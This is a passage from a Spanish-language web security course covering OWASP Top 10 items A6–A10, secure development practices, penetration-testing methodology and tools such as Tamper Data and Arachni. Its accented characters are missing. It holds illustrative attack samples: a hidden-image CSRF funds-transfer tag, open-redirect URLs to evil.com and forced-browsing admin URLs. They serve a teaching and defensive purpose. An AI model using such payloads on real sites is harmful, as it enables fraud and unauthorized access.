los clientes a otra aplicacin de apariencia similar a la original que no dispone de un
certificado vlido, lo que genera advertencias similares en el navegador. Como las vctimas
se encuentran acostumbradas a dichas advertencias, proceden a acceder al sitio de phishing
facilitando contraseas u otra informacin sensible.

Escenario #3: Una aplicacin simplemente utiliza ODBC/JDBC para la conexin con la base
de datos, sin darse cuenta de que todo el trfico se transmite en claro.
1.2.8. A7 Inexistente control de acceso por funciones

Muchas aplicaciones web verifican los privilegios de acceso a URLs antes de generar enlaces
o botones protegidos. Sin embargo, las aplicaciones necesitan realizar controles similares
cada vez que estas pginas son accedidas, o los atacantes podrn falsificar URLs para
acceder a estas pginas igualmente.

Soy vulnerable? La mejor manera de averiguar si una aplicacin falla en restringir

adecuadamente el acceso a URLs es verificar cada pgina. Considere por cada pgina si sta
debe ser pblica o privada. Si debe ser privada:

Se requiere autenticacin para acceder a la pgina?

Se supone que debe ser accesible para CUALQUIER usuario autenticado? Si no, se hace
una verificacin de autorizacin para asegurar que el usuario tiene permiso de acceder
dicha pgina?

Los mecanismos de seguridad externos con frecuencia proveen mecanismos de

autenticacin y autorizacin para el acceso a pginas. Verifique que estn configurados
adecuadamente para cada pgina. Si utilice un cdigo de nivel de acceso, asegrese de que
la proteccin de nivel de acceso est en todas las pginas. Tests de intrusin pueden
tambin establecer si esta proteccin est configurada.

Control y Seguridad de Tecnologa de Informacin

Pgina 15 de 32
Cmo evitarlo? Prevenir el acceso no autorizado a URLs requiere planificar un mtodo que
requiera autenticacin y autorizacin adecuadas para cada pgina. Frecuentemente, dicha
proteccin viene dada por uno o ms componentes externos al cdigo de la aplicacin. Con
independencia del mecanismo o mecanismos se recomienda:

1.La autenticacin y autorizacin estn basadas en roles, para minimizar el esfuerzo

necesario para mantener estas polticas.

2.Las polticas deberan ser configurables, para minimizar cualquier aspecto embebido en
la poltica.

3.La implementacin del mecanismo debera negar todo acceso por defecto, requiriendo el
establecimiento explcito de permisos a usuarios y roles especficos por cada pgina.

4.Si la pagina forma parte de un proceso de varios pasos, verifique que las condiciones de
la misma se encuentren en el estado apropiado para permitir el acceso.

Ejemplos de escenarios de ataque: El atacante simplemente navega forzosamente a la URL

objetivo. Considere las siguientes URLs las cuales se supone que requieren autenticacin.
Para acceder a la pgina admin_getappInfo se necesitan permisos de administrador.

http://ejemplo.com/app/getappInfo

http://ejemplo.com/app/admin_getappInfo

Si un atacante no autenticado puede acceder a cualquiera de estas pginas entonces se ha

permitido acceso no autorizado. Si un usuario autorizado, no administrador, puede acceder
a la pgina admin_getappInfo, esto es un fallo, y puede llevar al atacante a otras pginas
de administracin que no estn debidamente protegidas.

Este tipo de vulnerabilidades se encuentran con frecuencia cuando links y botones

simplemente se ocultan a usuario no autorizados, pero la aplicacin no protege
adecuadamente las pginas de destino.
1.2.9. A8 Falsificacin de Peticiones en Sitios Cruzados (Cross Site Request Forgery
- CSRF)

Un ataque CSRF obliga al navegador de una victima autenticada a enviar una peticin HTTP
falsificado, incluyendo la sesin del usuario y cualquier otra informacin de autenticacin
incluida automticamente, a una aplicacin web vulnerable. Esto permite al atacante forzar
al navegador de la victima para generar pedidos que la aplicacin vulnerable piensa son
peticiones legtimas provenientes de la victima.

Soy vulnerable? La forma ms sencilla de revisar la vulnerabilidad en una aplicacin, es

verificando si cada enlace, y formulario, contiene un testigo (token) no predecible para cada
usuario. Si no se tiene dicho testigo, los atacantes pueden falsificar peticiones.

Control y Seguridad de Tecnologa de Informacin

Pgina 16 de 32
Se debe concentrar el anlisis en enlaces y formularios que invoquen funciones que
permitan cambiar estados. Tales funciones son los objetivos ms importantes que
persiguen los ataques CSRF.

Se debe verificar transacciones que involucren mltiples pasos Los atacantes pueden
falsificar una serie de peticiones a travs de mltiples etiquetas o posiblemente cdigo
javascript. Descartar como proteccin las cookies de sesin, las direcciones IP de la fuente
y otro tipo de informacin, ya que est se encuentra incluida en las peticiones falsas.

La herramienta de pruebas para CSRF, elaborada por OWASP, puede ayudar a generar casos
de prueba que sean utilizados por los demonios diseados para detectar fallos relacionados
con CSRF.

Cmo evitarlo? Para prevenir la CSFR se necesita incluir un testigo no predecible en el

cuerpo, o URL, de cada peticin HTTP. Dicho testigo debe ser, como mnimo, nico por cada
sesin de usuario.

1)La opcin preferida es incluir el testigo en un campo oculto. Esto genera que el valor sea
enviado en el cuerpo de la peticin HTTP evitando su inclusin en la URL, lo cual est sujeto
a una mayor exposicin.

2)El testigo nico tambin puede ser incluido en la URL misma, o en un parmetro de la
URL. Sin embargo, este enfoque presenta el riesgo que la URL sea expuesta a un atacante,
y por lo tanto exponiendo al testigo.

Ejemplos de escenarios de ataque: La aplicacin permite que los usuarios enven peticiones
de cambio de estado, que no incluyen nada secreto. Por ejemplo:

http://example.com/app/transferFunds?amount=1500
&destinationAccount=4673243243

El atacante puede construir una peticin que transfiera dinero desde la cuenta de la vctima
a su propia cuenta. Podr insertar su ataque dentro de una etiqueta de imagen en un sitio
web, o iframe, que est bajo su control y al que la vctima se podr dirigir.

<img src="http://example.com/app/transferFunds?
amount=1500&destinationAccount=attackersAcct# width="0" height="0" />

Cuando la vctima visite el sitio, en lugar de cargarse la imagen, se realizar la peticin HTTP
falsificada. Si la vctima previamente haba adquirido privilegios entonces el ataque ser
exitoso.

Control y Seguridad de Tecnologa de Informacin

Pgina 17 de 32
 1.2.10. A9 Utilizar componentes con vulnerabilidades conocidas

Los componentes como las libreras, frameworks, y otros mdulos de software, casi siempre
funcionan con privilegios totales. Si un componente vulnerable es explotado, tal ataque
puede facilitar la prdida de datos o el que se comprometa el servidor. Las aplicaciones con
componentes vulnerables, pueden minar las defensas y habilitar el rango de posibles
ataques e impactos.

Soy vulnerable? En teora, debe ser sencillo saber si se estn usando componentes o
bibliotecas vulnerables. Desafortunadamente, los reportes de vulnerabilidades para
software comercial o libre no siempre especifica exactamente qu versiones de un
componente son vulnerables en una forma estndar o de bsqueda fcil. Adicionalmente,
no todas las bibliotecas usan un sistema de numeracin entendible. Aun peor, es que no
todas las vulnerabilidades son reportadas a un punto central que sea fcil de localizar,
aunque sitios como CVE y NVD se estn volviendo ms sencillos en su bsqueda.

Determinar si se es vulnerable requiere buscar en estas bases de datos, as como estar al

da en las listas de correos y anuncios de proyectos para cualquier cosa que pueda ser una
vulnerabilidad. Si uno de sus componentes tiene una vulnerabilidad, deber evaluar
cuidadosamente si se es vulnerable revisando si su cdigo usa la parte del componente con
la vulnerabilidad y si la falla puede resultar en algn impacto de inters.

Cmo evitarlo? Una opcin es no usar componentes que no hayan sido escritos por uno
mismo. Pero eso no es muy realista.

La mayora de los proyectos de componentes no crean parches de vulnerabilidades para

versiones antiguos. En su lugar, la mayora simplemente resuelve el problema en la
siguiente versin. As que actualizar a estas nuevas versiones es crtico. Los proyectos de
software deberan tener un proceso para:

1. Identificar todos los componentes y las versiones que est utilizando, incluyendo sus
dependencias (ej, el plugin de versiones).

2. Monitorear la seguridad de estos componentes en bases de datos pblicas, listas de

correo de los proyectos, y listas de correo de seguridad, y mantenerse al da.

3. Establecer polticas de seguridad que gobiernen los componentes usados, como

requerir ciertas prcticas en el desarrollo de software, pasar pruebas de seguridad, y
licencias aceptables.

4. Cuando sea apropiado, considerar agregar contenedores de seguridad en componentes

para deshabilitar funcionalidad que no se encuentre en uso y/o aspectos dbiles o
vulnerables del componente.

Control y Seguridad de Tecnologa de Informacin

Pgina 18 de 32
Ejemplos de escenarios de ataque: Las vulnerabilidades en componentes pueden causar
casi cualquier tipo de riesgo imaginable, desde lo ms trivial hasta malware sofisticado
diseado para apuntar a organizaciones especficas. Los componentes casi siempre se
ejecutan con privilegios completos de la aplicacin, por lo que el tener fallas en cualquier
componente puede ser serio. Los siguientes dos componentes vulnerables fueron
descargados 22m veces en 2011.

Apache CXF Authentication Bypass Al fallar en proveer un token de identidad, los

atacantes podan invocar a cualquier servicio web con permisos completos. (Apache CXF es
un framework de servicios, no debe ser confundido con Apache Application Server).

Spring Remote Code Execution El abuso de la implementacin del Lenguaje de

Expresin en Spring permiti a los atacantes ejecutar cdigo arbitrario, tomando control
efectivamente del servidor.

Cada aplicacin usando cualquiera de estas bibliotecas vulnerables es vulnerable a ataques

ya que ambos componentes son accesibles directamente por los usuarios de la aplicacin.
Otras bibliotecas vulnerables, usadas con mayor profundidad en una aplicacin, pueden ser
ms difciles de explotar.
1.2.11. A10 Redirecciones y reenvos no validados

Las aplicaciones web frecuentemente redirigen y reenvan a los usuarios hacia otras pginas
o sitios web, y utilizan datos no confiables para determinar la pgina de destino. Sin una
validacin apropiada, los atacantes pueden redirigir a las vctimas hacia sitios de phishing o
malware, o utilizar reenvos para acceder pginas no autorizadas.

Soy vulnerable? La mejor forma de averiguar si una aplicacin dispone de redirecciones y

re-envos no validados, es verificar que:

1.Se revisa el cdigo para detectar el uso de redirecciones o reenvos (llamados

transferencias en .NET). Para cada uso, identificar si la URL objetivo se incluye en el valor de
algn parmetro. Si es as, verificar que el parmetro se comprueba para que contenga
nicamente un destino, o un recurso de un destino, vlido.

2.Adems, recorrer la aplicacin para observar si genera cualquier redireccin (cdigos de

respuesta HTTP 300-307, tpicamente 302). Analizar los parmetros facilitados antes de la
redireccin para ver si parecen ser una URL de destino o un recurso de dicha URL. Si es as,
modificar la URL de destino y observar si la aplicacin redirige al nuevo destino.

3.Si el cdigo no est disponible, se deben analizar todos los parmetros para ver si
pudieran formar parte de una redireccin o destino y modificarlos para comprobar su
comportamiento.

Cmo evitarlo? Puede realizarse un uso seguro de redirecciones y re-envos de varias

maneras:

Control y Seguridad de Tecnologa de Informacin

Pgina 19 de 32
1.Simplemente, evitando el uso de redirecciones y reenvos.

2.Si se utiliza, no involucrar parmetros manipulables por el usuario para definir el destino.
Generalmente, esto puede realizarse.

3.Si los parmetros de destino no pueden evitarse, asegrese de que el valor facilitado es
vlido y autorizado para el usuario. Se recomienda que el valor de cualquier parmetro de
destino sea un valor de mapeo, en lugar de la direccin, o parte de la direccin, de la URL y
en el cdigo del servidor traducir dicho valor a la direccin URL de destino. Las aplicaciones
pueden utilizar ESAPI para sobrescribir el mtodo sendRedirect() y asegurarse de que
todos los destinos redirigidos son seguros. Evitar estos problemas resulta extremadamente
importante ya que son un blanco preferido por los phishers que intentan ganarse la
confianza de los usuarios.

Ejemplos de escenarios de ataque: Escenario #1: La aplicacin tiene una pgina llamada
redirect.jsp que recibe un nico parmetro llamado url. El atacante compone una URL
maliciosa que redirige a los usuarios a una aplicacin que realiza el phishing e instala cdigo
malicioso.

http://www.example.com/redirect.jsp?url=evil.com

Escenario #2: La aplicacin utiliza destinos para redirigir las peticiones entre distintas partes
de la aplicacin. Para facilitar esto, algunas pginas utilizan un parmetro para indicar
dnde ser dirigido el usuario si la transaccin es correcta. En este caso, el atacante
compone una URL que evadir el control de acceso de la aplicacin y llevar al atacante a
una funcin de administracin a la que en una situacin habitual no debera tener acceso.

http://www.example.com/boring.jsp?fwd=admin.jsp

2. Mecanismos de proteccin de sistemas web

2.1. Buenas prcticas
Como se coment en la introduccin, al momento de desarrollar un Sistema de Informacin
Web, los dos puntos principales son, que el sistema funcione, y que se vea bien. Sin
embargo, adicional a tomar en cuenta la seguridad, es recomendable seguir prcticas
previas, durante y despus de la liberacin de un sistema que al final del da, conduzcan a
reducir los riesgos de seguridad y mejorar su funcionamiento.
Considerar mltiples usuarios en el desarrollo.
En un desarrollo normal, generalmente uno tiene un servidor de pruebas aislado,
ejecutando el cdigo para un nico usuario: el desarrollador. En este ambiente de desarrollo
se tiende a olvidar que al momento de liberar el sistema, este ser accedido por varios
usuarios a la vez, obviando el hecho de que una consulta SQL o una seccin del sistema que
pueda parecer lenta durante el desarrollo, se har mucho ms lenta entre ms accesos
concurrentes tenga.

Control y Seguridad de Tecnologa de Informacin

Pgina 20 de 32
Debido a lo anterior, se deben evitar consultas SQL anidadas, desperdicio de recursos del
lado del servidor y, de ser posible, realizar pruebas de estrs al sistema antes de liberarlo.
Contar con un servidor de pruebas.
Una de las peores prcticas hoy en da es realizar pruebas y/o nuevos desarrollos en un
servidor en produccin. Si ocurriese una fuga de recursos (un ciclo while infinito por
ejemplo), nos estaramos disparando en el pie, prcticamente haciendo un DoS a nuestro
sistema. Inclusive si un atacante detectara el espacio de debugging, tendra acceso a
muchos aspectos del desarrollo.
En caso de no contar con la infraestructura requerida para levantar uno, hoy en da
prcticamente cualquier equipo se puede convertir en un servidor de pruebas. El manejo
de mquinas virtuales, distribuciones de Linux, y aplicaciones como XAMPP nos permiten
levantar este tipo de servidores en muy poco tiempo.
Optimizar el tamao de archivos
Aunque da a da el ancho de banda del usuario va en ascenso, esto no siempre se cumple
para la infraestructura donde se encuentra alojado el sistema. El aumento de este ancho de
banda generalmente implica una gran inversin para la organizacin que puede ser evitado
desde el desarrollo.
Para esto, se deben tomar en cuenta rutinas de optimizacin de imgenes que se coloquen
en los sitios web, minificar archivos CSS y Javascript, reducir la inclusin de archivos del lado
del cliente, etc.
Depurar cdigo y archivos usados durante el desarrollo
Generar archivos de visualizacin de informacin phpinfo, scripts de prueba, exportaciones
de bases de datos, y documentacin de ejemplo no son prcticas raras al momento de
desarrollo. Sin embargo el dejar estos archivos al momento de liberar un Sistema de
Informacin web le facilita enormemente al atacante conocer el entorno que se tiene de
trabajo en la etapa de reconocimiento y escaneo. Se puede decir que le estamos dando toda
la informacin que necesita en bandeja de planta al atacante, haciendo buena parte de su
trabajo.
Es por todo lo anterior, que se debe realizar una meticulosa depuracin de archivos antes
de su liberacin. Es una prctica sencilla que nos puede evitar dolores de cabeza ms
adelante.
Documentar manuales tcnicos y de uso
Posiblemente la tarea ms tediosa para un desarrollador. Se debe documentar el
funcionamiento del sistema tanto para un usuario como a un nivel tcnico. Lo segundo es
especialmente til al momento de un ataque a un sistema, ya que puede ahorrarnos tiempo
en vez de tratar de recordar el funcionamiento particular de un mdulo afectado y descubrir
vulnerabilidades.

Control y Seguridad de Tecnologa de Informacin

Pgina 21 de 32
Tener un plan de liberacin del Sistema de Informacin
Pruebas de estrs, diagnsticos de funcionalidad, pentestings. Contar con un plan que
detalle actividades necesarias para liberar cualquier sistema en un entorno pblico.
Mantener un esquema de respaldos
No estamos exentos a que la infraestructura del sistema falle, as como de un ataque en el
que se pierdan datos. Inclusive al momento de realizar cambios en el sistema se debe
respaldar la versin antigua en caso de haber fallos en el desarrollo y requerir un rollback.
Es importante sealar que los respaldos nunca se deben colocar en el mismo espacio que
se est respaldando. Otra mala prctica es generar respaldos en un espacio pblico, mas
an si se generan en archivos comprimidos: si un atacante logra acceder y descargar el
archivo comprimido, automticamente se har acreedor al cdigo fuente del sistema, as
como credenciales de acceso embebidas en el mismo.
Revisin de logs
Una vez liberado el sistema, se deben revisar peridicamente las bitcoras de acceso y error
generadas. Esto nos permite revisar anormalidades de acceso y funcionamiento.
Administrar correctamente el software libre
Actualmente existe una enorme cantidad de sistemas y scripts en software libre, por
mencionar a wordpress, joomla, moodle, dokeos, phpbb, drupal, etc. Sin embargo, por su
misma naturaleza de cdigo pblico, los atacantes constantemente buscan huecos de
seguridad para su aprovechamiento y explotacin. Para remediar esto, las comunidades de
desarrollo parchan y actualizan estos sistemas, poniendo a disposicin del usuario versiones
nuevas.
Es crucial mantener actualizadas a sus ltimas versiones los sistemas de software libre
utilizados para evitar ataques automatizados que busquen huecos de seguridad de
versiones previas. Asimismo, se debe evaluar si su uso es necesario, siendo que estos
sistemas pueden resultar muy complejos de administrar, y consumir ms recursos de los
necesarios para llevar a cabo lo que posiblemente sea una necesidad que se solvente con
un software desarrollado a la medida.
2.2. Auditoras de Seguridad
2.2.1. Metodologa

Las pruebas de penetracin, o auditoras de

seguridad, son de suma importancia para las
instituciones. Es necesario contar con este tipo de
pruebas, especialmente previo a la liberacin de un
sistema, las cuales nos permitirn evaluar el nivel de
seguridad de la infraestructura tecnolgica.

Control y Seguridad de Tecnologa de Informacin

Pgina 22 de 32
Si bien este tipo de pruebas no son la panacea de la seguridad, desde hace varios aos se
ha comprobado que gracias a ellas se pueden descubrir una gran cantidad de huecos en los
activos crticos de las organizaciones.

Con base en lo acordado con el administrador del sistema, este tipo de pruebas se dividen
de la siguiente manera:

Pruebas de caja negra: Se realizan pruebas sobre la funcionalidad del sistema, sin contar
con el cdigo fuente ni conocer su estructura interna. La meta de este tipo de pruebas es
simular un ataque externo tal cual se realizara por un usuario malicioso. Para este tipo de
pruebas se debe de gastar ms tiempo en el reconocimiento y escaneo de informacin.

Pruebas de caja blanca o caja de cristal: Las pruebas son realizadas con un conocimiento
completo del sistema a atacar, generalmente incluyndose el cdigo fuente para revisin.
La meta de este tipo de pruebas es simular a un ataque interno, donde se tenga
conocimiento y posibles credenciales bsicas del sistema.

Pruebas de caja gris: Se cuenta con parte de la documentacin del sistema, sin llegar a tener
el cdigo fuente. Al estar mejor informado de las opciones a probar, el atacante realiza una
prueba de caja negra mejor enfocada.

Existen diversas metodologas que indican el camino a seguir para la evaluacin de

seguridad de un equipo algunas orientadas a herramientas otras a elementos a evaluar y
otras a procedimientos generales, todas las metodologas incluyen un conjunto de etapas o
fases de evaluacin, a pesar de ser distintas se pueden englobar en las siguientes:

Antes de pasar a estas, existe una primera etapa independiente a las mencionadas
anteriormente, es de gran importancia y no debe omitirse por ninguna razn, en esta etapa
se establece la autorizacin por parte del solicitante de las pruebas de penetracin. Esta
accin es una de las que marcan la diferencia entre un pentester y un cracker. En algunas
metodologas as como en cursos de capacitacin para pentesters se menciona que no se
puede lanzar ni un simple ping si no se cuenta con la autorizacin firmada por el solicitante.
Esta autorizacin es muy importante ya que ser el respaldo legal ante cualquier problema
existente en el proceso de evaluacin.

De igual manera vale la pena sealar que estas etapas, aunque en la metodologa tienden
a parecer pasos escalonados, en la prctica uno se encuentra con un ir y venir entre fases
conforme se van detectando ms hallazgos del sistema a consecuencia de etapas previas o
posteriores. Por ejemplo, una explotacin exitosa nos provee de mayor funcionamiento a
mapear, y con esto una nueva capa de vulnerabilidades para descubrir.

Reconocimiento

Control y Seguridad de Tecnologa de Informacin

Pgina 23 de 32
La primera etapa de las pruebas de penetracin es el reconocimiento, esta etapa permite
identificar la informacin pblicamente accesible. Muchas veces en bases de datos
publicadas en internet, en sitios web en caso de contar con ellos, en servidores ftp, hasta
los perfiles de solicitud de personal pueden brindar mucha informacin valiosa para el
pentester.

Hay dos tipos de reconocimiento:

Reconocimiento activo: El blanco sabe o nota que estn siendo sondeados.

Reconocimiento pasivo: El blanco no tiene idea sobre si estn siendo

sondeados. Por ejemplo, al usar google para obtener informacin de esta.

Mapeo

Esta etapa es de gran importancia en el proceso de pruebas de penetracin ya que permite

identificar las puertas y vulnerabilidades por donde podra entrar un atacante. Consiste
en aprender de la aplicacin a atacar desde una perspectiva del usuario y del desarrollador.
La meta del atacante es usar todos los mtodos para trazar un mapa de la aplicacin. Para
realizar un pentesting exitoso, el atacante debe conocer y entender su blanco. Algunos
componentes a revisar durante esta etapa son:

Enumerar contenido y funcionalidad Descargar el sitio entero, escaneo de puertos,

spidering, descubrir contenido escondido y parmetros.

Analizar la aplicacin Identificar formularios de entrada para el usuario, analizar

sesiones, construir un mapa del sitio.

Descubrimiento

Una vez reconocidos los puntos de entrada de la aplicacin y otra informacin interesante
obtenida durante las etapas de reconocimiento y mapeo, comenzar a abusar de la
aplicacin. Ahora debemos conocer la aplicacin desde la perspectiva del atacante. En esta
etapa se busca, como su nombre indica, descubrir vulnerabilidades, fallas en la lgica de la
aplicacin, etc. y usarlas posteriormente para la etapa de explotacin. Algunas de las
actividades de esta fase son:

Abuso de aplicacin

pruebas manuales

Puntos vistos de la OWASP.

Explotacin

Control y Seguridad de Tecnologa de Informacin

Pgina 24 de 32
Una vez recabadas las vulnerabilidades, aprovecharse de estas para atacar y obtener la
informacin deseada. Los resultados de esta etapa reflejan el arduo trabajo realizado en las
tres etapas anteriores, y nos permite medir el verdadero riesgo e impacto de las
vulnerabilidades descubiertas.

La etapa final y la ms importante, es la creacin del reporte de hallazgos, ya que es en esta

fase donde se comunica qu se hizo, cmo se hizo y cmo la organizacin puede eliminar
las vulnerabilidades detectadas durante el anlisis, por lo que es de gran importancia
generar reportes con la mayor calidad posible.

El formato de un reporte puede ser muy variable, pero a continuacin se muestran algunos
puntos que deben ser presentados:

Tabla de contenido

Resumen ejecutivo

Metodologa utilizada

Hallazgos ordenados de acuerdo al impacto

Evidencia detallada incluyendo screenshots del hallazgo

Es recomendable presentar la evidencia de manera jerrquica, ya que tomando como hecho

que todas las vulnerabilidades deben ser eliminadas, existen algunas que pueden
representar mayor impacto a la organizacin, por lo que es prioritaria la solucin inmediata.

Es posible creer que el reporte no es importante cuando se realiza un pentest interno, pero
es necesario tener una bitcora que almacene el historial del los problemas de seguridad
que se han tenido, esto podra ayudar a resolver problemas en el futuro.

Aunque las pruebas de penetracin y hacking tico son prcticas tiles, tienen algunas
limitaciones notables dignas del anlisis:

En primer lugar, las pruebas de proyectos por su propia naturaleza tienen un alcance
limitado. La mayora de las organizaciones no lo prueban todo por falta de recursos. Se
prueban los elementos de la infraestructura que se consideran ms importantes. Sin
embargo, un intruso en el mundo real puede encontrar defectos en otras reas que
simplemente no fueron parte del alcance de nuestro proyecto de prueba.

De igual manera, a los pentesters profesionales se les asigna un determinado periodo de

tiempo del proyecto para una prueba. Los atacantes suelen tener mucho ms tiempo para
trabajar en su ataque, que se extiende durante meses o aos.

Control y Seguridad de Tecnologa de Informacin

Pgina 25 de 32
Otro punto a considerar, es que ms all de las limitaciones de las pruebas orientadas a
proyectos, se tienen limitaciones asociadas con el quipo de pruebas en si mismo. Los
pentesters profesionales son limitados, ya que tienen un conjunto de habilidades finitas.
Incluso los pentesters ms calificados tienen sus lmites, centrndose en determinadas
tecnologas, teniendo menos experiencia en otras.

Entonces, porqu las pruebas de penetracin o auditoras de seguridad? Debido a que

proporcionan una excelente vista de la seguridad de un entorno. Ponen de relieve lo que
una persona maliciosa podra ver si el o ella se dirigen a la organizacin dada.

Conseguimos ver la seguridad en un contexto operativo real, no slo en papel o en debates.

Podemos centrarnos en los problemas de explotacin de los ms probables y ver si uno de
los atacantes reales podra aprovecharse, obteniendo una mejor idea de los riesgos reales
que enfrentamos. Con una mejor idea de los riesgos reales, el personal directivo puede
tomar mejores decisiones sobre cmo distribuir los recursos de seguridad para solucionar
los problemas.

3. Herramientas de seguridad para servicios web

3.1. Add-ons de Firefox
Los plugins o addons son usados comnmente por navegadores web para habilitar nuevas
capacidades a los mismos, como puede ser la reproduccin de videos o visualizar nuevos
tipos de archivos. Al ser estos generalmente los clientes o visualizadores de los sistemas
web, existen aplicaciones de terceros que nos apoyan para aumentar nuestra interaccin y
obtener mayor informacin de los mismos.

Firefox se ha convertido en uno de los browser ms utilizados debido a su gran cantidad de

caractersticas, y a su buena versatilidad de personalizacin, mediante temas y extensiones.
Adems es compatible con varios estndares Web, que incluyen HTML, XML, XHTML, CSS,
Javascript, etc. Tambin utiliza varias medidas de seguridad, como el aislamiento de
procesos por sandbox, SSL/TLS para HTTPS, apoyo a la autenticacin con tarjetas
inteligentes, antiphishing, antimalware e integracin con software antivirus.

Todo este conjunto de cualidades han alejado a Firefox de ser meramente una herramienta
de navegacin Web, lo convierte actualmente en una poderosa plataforma de
entretenimiento, trabajo o incluso, de auditora y pentest a sitios Web.

Para aadir otras funcionalidades, Mozilla y la extensa comunidad de desarrolladores a nivel

mundial han creado cientos (o quiz miles) de complementos para Firefox. La cantidad de
estos addons es muy grande, y segn las tareas que realizan pueden deslindarse en alguna
de las siguientes categoras:

Control y Seguridad de Tecnologa de Informacin

Pgina 26 de 32
 Recopilacin de informacin: Como su nombre lo dice, en esta categora van
incluidas todas aquellas herramientas que permitan al pentester obtener la mayor
cantidad de datos sobre un objetivo, ya sea por medio de aplicar alguan tcnica o
por la simple bsqueda en grupos de noticias, buscadores, listas de correo, etc.
Ejemplos: Shazou, PassiveRecon, Who Is This Person?

Auditora de aplicaciones: Se contemplan todos aquellos addons que prueban la

seguridad de las aplicaciones Web, Ya sea con peticiones manualmente construidas,
o con inserciones de cdigos, entre otros mtodos. Ejemplos: HackBar, Tamper
Data, SQL Finder.

Proxies y utileras Web: Los proxies son herramientas que nos permiten observar el
trfico de red. Para pentest a sitios Web, lo que nos interesa es la comunicacin
entre un browser y el servidor Web. Ejemplos: FoxyProxy, Plain Old Webserver,
httProxy.

Editores: Son aplicaciones que sirven para modificar u observar el cdigo de los
sitios Web. Ejemplos: JSVIew, Firebug, XML Developer Toolbar.

Utileras de red: Son todos aquellos plugins que permiten realizar ataques, o
capacidades de deteccin sobre el trfico y protocolos de red. Como clasificacin
secundaria podemos mencionar:

o Procolo de Transferencia de Archivos (FTP): Son addons especializados en

atacar al protocolo FTP. Ejemplo: CrossFTP, FireFTP.

o Sistema de Deteccin de Intrusos (IDS): Incluye los plugins que sirven como
programas para detectar accesos no autorizados a un equipo o a una red.
Ejemplo: Firekeeper.

o Sniffers: Captura las tramas de red y permite su visualizacin para un anlisis

ms profundo del trfico de red: Ejemplo: FFsniFF (FireFox sniFFer).

Wireless: Plugins orientados a atacar o visualizar los protocolos de la tecnologa Wifi

inalmbrica. Ejemplo: wmlbrowser.

3.1.1. Tamper Data
Tamper Data es un add-on usado para rastrear y modificar peticiones http/https. Esta
herramienta nos ayuda a visualizar y modificar el envo de parmetros ya sea por GET o por
POST, inclusive si se utiliza AJAX. Permite al atacante entremeterse con la comunicacin
realizada entre cliente y servidor, manipulando fcilmente la informacin para la insercin
de inyecciones de cdigo como puede ser SQL Injection o XSS.

Control y Seguridad de Tecnologa de Informacin

Pgina 27 de 32
Tampering: Es el acto de modificar parmetros de peticin antes de su envo. Para iniciar el
tampering, se debe dar clic a Comenzar modificacin en la parte izquierda de la ventana
del tamper data.
3.1.2. Firebug
Firebug es una herramienta de desarrollo web que facilita el debugging, edicin y monitoreo
de tecnologas CSS, HTML, DOM, XHR y javascript. Su panel de javascript puede registrar
errores, llamados a funciones, y habilitar al desarrollador para correr cdigo javascript
arbitrario. Su panel de red puede monitorear URLs que el navegador solicita, como archivos
externos CSS, Javascript e imgenes.
El objetivo principal de este add-on es el de facilitar la mayora de los trabajos que se hacen
durante el desarrollo de una aplicacin web (edicin de HTML, edicin de hojas de estilo,
cdigo del lado del cliente, etc). Adicionalmente, Firebug es una herramienta muy til para
realizar pruebas de seguridad web y, con plugins adicionales, tambin apoya en
diagnsticos de funcionalidad y rendimiento de los sitios.
Este add-on nos ayuda a eliminar prcticamente cualquier obstculo que el desarrollador
le haya puesto al atacante con tecnologa del lado del cliente, eliminando cualquier
validacin con tecnologas como javascript.
Para propsitos de pentesting, esta herramienta nos permite rastrear, modificar e incluso
eliminar el cdigo javascript que se use para realizar validaciones. Nos permite fcilmente
editar las variables onsubmit del elemento form en un formulario, o variables onclick.
De igual manera nos permite usar el debugging para rastrear el uso de AJAX, modificando
igualmente los parmetros enviados y recibidos.
3.2. Herramientas automatizadas
Para apoyarnos en las tareas de reconocimiento, mapeo y descubrimiento de
vulnerabilidades existen mltiples herramientas automatizadas que nos pueden entregar
un reporte inicial del estado del sistema a atacar. Si bien son un buen punto de partida y
son relativamente sencillas de utilizar, estas herramientas no son sustituto de un pentesting
manual.
3.2.1. Arachni

Arachni es un framework Ruby dirigido a apoyar a pentesters y administradores para

evaluar la seguridad de sus aplicaciones web.

A diferencia de otros scanners, toma en cuenta la naturaleza dinmica de las aplicaciones

web, puede detectar cambios causados mientras viaja a travs de las rutas de la
complejidad ciclomtica de las aplicaciones web y es capaz de ajustarse de acuerdo a esto.

Automatizacin: Arachni es un sistema completamente automatizado que trata de reforzar

el principio de dispara y olvdate.

Control y Seguridad de Tecnologa de Informacin

Pgina 28 de 32
Tan pronto como un escaneo es iniciado, este no molestar al pentester ni requerir
interaccin adicional.

Al concluir, los resultados del escaneo sern almacenados en un archivo, el cual puede ser
convertido posteriormente en diferentes formatos (HTML, texto plano, XML, etc).

Rendimiento: Para maximizar el uso de ancho de banda y obtener el mayor beneficio

posible, el sistema utiliza peticiones http asncronas.

Inteligencia: Arachni utiliza varias tcnicas para compensar los varios ambientes que existen
en las aplicaciones web. Esto incluye una combinacin de tcnicas ampliamente
desarrolladas en conjunto con nuevas tcnicas desarrolladas especficamente para el
framework.

Entrenador: El entrenador es lo que permite que Arachni aprenda de los escaneos que
realiza e incorpora ese conocimiento, al vuelo, durante la auditora. Arachni est consciente
sobre qu peticiones son ms propensas a descubrir nuevos elementos o vectores de
ataque y se adapta a estas.

Modularidad: Una de las grandes ventajas de Arachni es su naturaleza altamente modular.

El framework puede ser extendido indefinidamente agregndole componentes como
extractores de rutas, mdulos, plugins o inclusive interfaces de usuario. Arachni no esta
nicamente pensado para servir como un escner de seguridad, si no tambin como una
plataforma para cualquier clase de prueba de caja negra u obtencin de datos.

Mdulos: Arachni tiene ms de 40 mdulos de auditora y reconocimiento que identifican

y almacenan entidades de inters.

Plugins: Arachni ofrece plugins para ayudar a automatizar varias tares, desde el login a una
aplicacin web para realizar meta-anlisis de alto nivel mediante la referencia cruzada de
resultados de escaneos con un gran nmero de datos del ambiente.

Reportes: Los componentes de reporteo ayudan a formatear resultados de cualquier

manera que uno quiera.

Desarrollo flexible: El sistema permite mltiples opciones de liberacin, desde una interfaz
de lnea de comandos single-user single-scan, una liberacin multi usuario distribuida, hasta
una red de alto rendimiento.

Uso a travs de Web User Interface

Una vez descargada la aplicacin, ya sea para Mac OS X o para entornos Linux, ingresar al
directorio bin desde una terminal, y ejecutar el siguiente comando:

$ arachni_web

Control y Seguridad de Tecnologa de Informacin

Pgina 29 de 32
Esto configurar automticamente un despachador local, as como el servidor Web.

Una vez levantado el servidor Web, se accede a la interfaz grfica a travs de un navegador,
va la direccin de localhost y el puerto levantado por el rpcd.

